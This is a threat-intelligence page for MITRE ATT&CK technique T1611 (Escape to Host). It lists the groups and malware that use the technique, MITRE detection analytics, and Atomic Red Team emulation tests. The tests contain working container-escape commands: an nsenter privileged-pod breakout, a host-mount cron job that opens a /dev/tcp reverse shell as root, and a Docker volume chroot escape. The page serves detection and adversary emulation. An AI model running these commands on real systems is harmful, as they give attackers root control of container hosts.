tfMITRE ATT&CK technique

Escape to Host T1611

Tactic: Privilege Escalation
Platforms: Windows, Linux, Containers, ESXi
Version: 1.6
Created: 30 March 2021
Last modified: 24 October 2025
Contributors: Yuval Avrahami, Palo Alto Networks; Daniel Prizmant, Palo Alto Networks; Alfredo Oliveira, Trend Micro; David Fiser, @anu4is, Trend Micro; Idan Frimark, Cisco; Magno Logan, @magnologan, Trend Micro; Ariel Shuper, Cisco; Yossi Weizman, Azure Defender Research Team; Vishwas Manral, McAfee; CrowdStrike; Eran Ayalon, Cybereason; Oren Ofer, Cybereason; Ilan Sokol, Cybereason; Joas Antonio dos Santos, @C0d3Cr4zy

Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware62nd pct

Tools & malware62nd percentile · 62% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules64th pct

Detection rules64th percentile · 64% of ATT&CK techniques have this many detection rules written or fewer.

Escape to Host MITRE reference T1611

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TeamTNTG0139 ↗

Has deployed privileged containers that mount the filesystem of victim machine.1 2

created 2021-10-012 references

All 1 groups for this technique

4 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

PeiratesS0683 ↗

Can gain a reverse shell on a host node by mounting the Kubernetes hostPath.1

created 2022-02-08TOOLcarried by 1 group

SiloscapeS0623 ↗

Maps the host’s C drive to the container by creating a global symbolic link to the host through the calling of NtSetInformationSymbolicLink.1

created 2021-06-18MALWARE

HildegardS0601 ↗

Has used the BOtB tool that can break out of containers. 1

created 2021-04-07MALWAREcarried by 1 group

DokiS0600 ↗

Doki’s container was configured to bind the host root directory.1

created 2021-04-06MALWARE

All 4 software entries for this technique

Offense vs defense T1611

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 2Splunk ESCU (cumulative) · 3

first rule: 2024 Q1

Escape to Host detection strategy DET0219

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Escape to Host

Enterprise

4 platforms

AN0612 · Containers

Detection of container escape attempts via bind mounts, privileged containers, or abuse of docker.sock. Defenders may observe anomalous volume mount configurations (e.g., hostPath to / or /proc), unexpected privileged container launches, or use of container administration commands to access host resources. These events typically correlate with subsequent process execution on the host outside of normal container isolation.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Container CreationDC0072	docker:daemon	container create/start with privileged flag or host volume mount
Volume ModificationDC0092	kubernetes:apiserver	Pod spec with hostPath or privileged securityContext

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedHostPaths	List of directories permitted for hostPath volumes. Any access beyond these paths may be suspicious.
PrivilegedContainerThreshold	Number of privileged container launches expected in the environment. Exceeding this may indicate adversary behavior.

AN0613 · Linux

Detection of Linux container escape attempts via syscalls (unshare, keyctl, mount) or process execution outside container namespaces. Defenders may correlate unusual system calls from containerized processes with subsequent process creation on the host or modification of host resources.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
OS API ExecutionDC0021	auditd:SYSCALL	unshare, mount, keyctl, setns syscalls executed by containerized processes
Process CreationDC0032	linux:Sysmon	process creation events linked to container namespaces executing host-level binaries

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
SyscallWhitelist	Expected syscalls by containerized workloads. Deviations may signal an escape attempt.
TimeWindow	Defines correlation window (e.g., 60s) between suspicious syscalls and follow-on host process activity.

AN0614 · Windows

Detection of Windows container escape attempts by observing processes accessing host directories, symbolic link abuse, or privilege escalation attempts. Defenders may detect anomalous process execution with access to system-level directories outside of container boundaries.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
File CreationDC0039	WinEventLog:Sysmon	EventCode=11

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
RestrictedHostDirs	Critical system paths containers should not access (e.g., C:\Windows, C:\ProgramData).

AN0615 · ESXi

Detection of ESXi escape attempts by monitoring for anomalies in hypervisor logs such as unexpected VM operations, privilege escalation events, or attempts to load malicious kernel modules within the hypervisor environment.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Kernel Module LoadDC0031	esxi:vmkernel	VM exit/entry anomalies, unexpected hypercalls, or kernel module loading

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedKernelModules	Modules permitted in the hypervisor. Loading any module outside of this list may indicate compromise.

Tests3Executorssh 3Need elevation2 of 3Have prerequisites3Have cleanup3Platformscontainers

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Deploy container using nsenter container escape containers sh — 5 Yes

In this escape kubectl is used to launch a new pod, with a container that has the host pids mapped into the container (hostPID:true). It uses the alpine linux container image. It runs with privilege on the host (privileged:true). When the container is launched the command nsenter --mount=/proc/1/ns/mnt -- /bin/bash is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container. Additional Details: - https://twitter.com/mauilion/status/1129468485480751104 - https://securekubernetes.com/scenario_2_attack/

Attack command

kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'

Cleanup command

kubectl --context kind-atomic-cluster delete pod atomic-escape-pod

Prerequisite

Verify docker is installed.

Check

which docker

Satisfy

if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi

Prerequisite

Verify docker service is running.

Check

sudo systemctl status docker

Satisfy

sudo systemctl start docker

Prerequisite

Verify kind is in the path.

Check

which kind

Satisfy

curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
chmod +x ./kind
mv kind /usr/bin/kind

Prerequisite

Verify kind-atomic-cluster is created

Check

sudo kind get clusters

Satisfy

sudo kind create cluster --name atomic-cluster

Prerequisite

Verify kubectl is in path

Check

which kubectl

Satisfy

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x ./kubectl
mv kubectl /usr/bin/kubectl

GUIDe934c873-c372-4300-86da-8621382f50b7

02 Mount host filesystem to escape privileged Docker container containers sh Required 5 Yes

This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser. The container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job. Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell.

Input arguments

Name	Type	Default	Description
cron_path	path	/etc/cron.d	Path on the host filesystem where cron jobs are stored
listen_port	integer	4444	TCP Port to listen on for callback from the host system.
mount_point	path	/mnt/T1611.002	Path where the host filesystem will be mounted
mount_device	path	/dev/dm-0	Path to the device of the host's disk to mount
cron_filename	string	T1611_002	Filename of the cron job in cron_path
listen_address	string	`ifconfig eth0 \| grep inet \| awk '{print $2}'`	IP address to listen for callback from the host system.

Attack command

if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename}
netcat -l -p #{listen_port} 2>&1

Cleanup command

rm #{mount_point}#{cron_path}/#{cron_filename}
umount #{mount_point}
rmdir #{mount_point}

Prerequisite

Verify mount is installed.

Check

which mount

Satisfy

if [ "" == "`which mount`" ]; then echo "mount Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install mount ; elif [ -n "`which yum`" ]; then sudo yum -y install mount ; fi ; else echo "mount installed"; fi

Prerequisite

Verify container is privileged.

Check

capsh --print | grep cap_sys_admin

Satisfy

if [ "`capsh --print | grep cap_sys_admin`" == "" ]; then echo "Container not privileged.  Re-start container in insecure state.  Docker: run with --privileged flag.  Kubectl, add securityContext: privileged: true"; fi

Prerequisite

Verify mount device (/dev/dm-0) exists.

Check

ls #{mount_device}

Satisfy

if [ ! -f #{mount_device} ]; then echo "Container not privileged or wrong device path.  Re-start container in insecure state.  Docker: run with --privileged flag.  Kubectl, add securityContext: privileged: true"; fi

Prerequisite

Netcat is installed.

Check

which netcat

Satisfy

if [ "" == "`which netcat`" ]; then echo "netcat Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install netcat ; elif [ -n "`which yum`" ]; then sudo yum -y install netcat ; fi

Prerequisite

IP Address is known.

Check

if [ "#{listen_address}" != "" ]; then echo "Listen address set as #{listen_address}" ; fi

Satisfy

if [ "" == "`which ifconfig`" ]; then echo "ifconfig Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install net=tools ; elif [ -n "`which yum`" ]; then sudo yum -y install net-tools ; fi

GUID4ecec042-78bc-4868-a18c-b967f831ee1b

03 Privilege Escalation via Docker Volume Mapping containers sh Required 2 Yes

This test demonstrates privilege escalation by abusing Docker's volume mapping feature to gain access to the host file system. By mounting the root directory of the host into a Docker container, the attacker can use chroot to operate as root on the host system.

Input arguments

Name	Type	Default	Description
username	string	docker_user	Username that run attack command

Attack command

echo "Current user: #{username}"
sudo -u docker_user sh -c "sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id"

Cleanup command

USERNAME="#{username}"; SUDOERS_FILE="/etc/sudoers.d/$USERNAME"; id "$USERNAME" &>/dev/null && userdel -r "$USERNAME" && echo -e "$USERNAME is deleted."; [[ -f "$SUDOERS_FILE" ]] && rm -f "$SUDOERS_FILE"; echo "Cleanup complete."

Prerequisite

Docker

Check

command -v docker &> /dev/null && echo "Docker is installed" || { echo "Docker is not installed."; exit 1; }

Satisfy

echo "You should install docker manually."

Prerequisite

Docker Privileged User

Check

sudo -l -U #{username} | grep "(ALL) NOPASSWD: /usr/bin/docker"

Satisfy

USERNAME="#{username}"
PASSWORD="password123"
SUDO_COMMAND="/usr/bin/docker"
SUDOERS_FILE="/etc/sudoers.d/$USERNAME"
[[ $EUID -ne 0 ]] && echo "Run as root." && exit 1; id "$USERNAME" &>/dev/null || { useradd -m -s /bin/bash "$USERNAME" && echo "$USERNAME:$PASSWORD" | chpasswd; }; [[ -f "$SUDOERS_FILE" ]] || { echo "$USERNAME ALL=(ALL) NOPASSWD: $SUDO_COMMAND" > "$SUDOERS_FILE" && chmod 440 "$SUDOERS_FILE"; }; echo "Setup complete. User: $USERNAME, Password: $PASSWORD"

GUID9e592ec6-a99d-43dc-b1f3-3bddf8acb3a8

Tests from Atomic Red Team (MIT licence) · technique definition

Escape to Host detections T1611

5 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

64th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs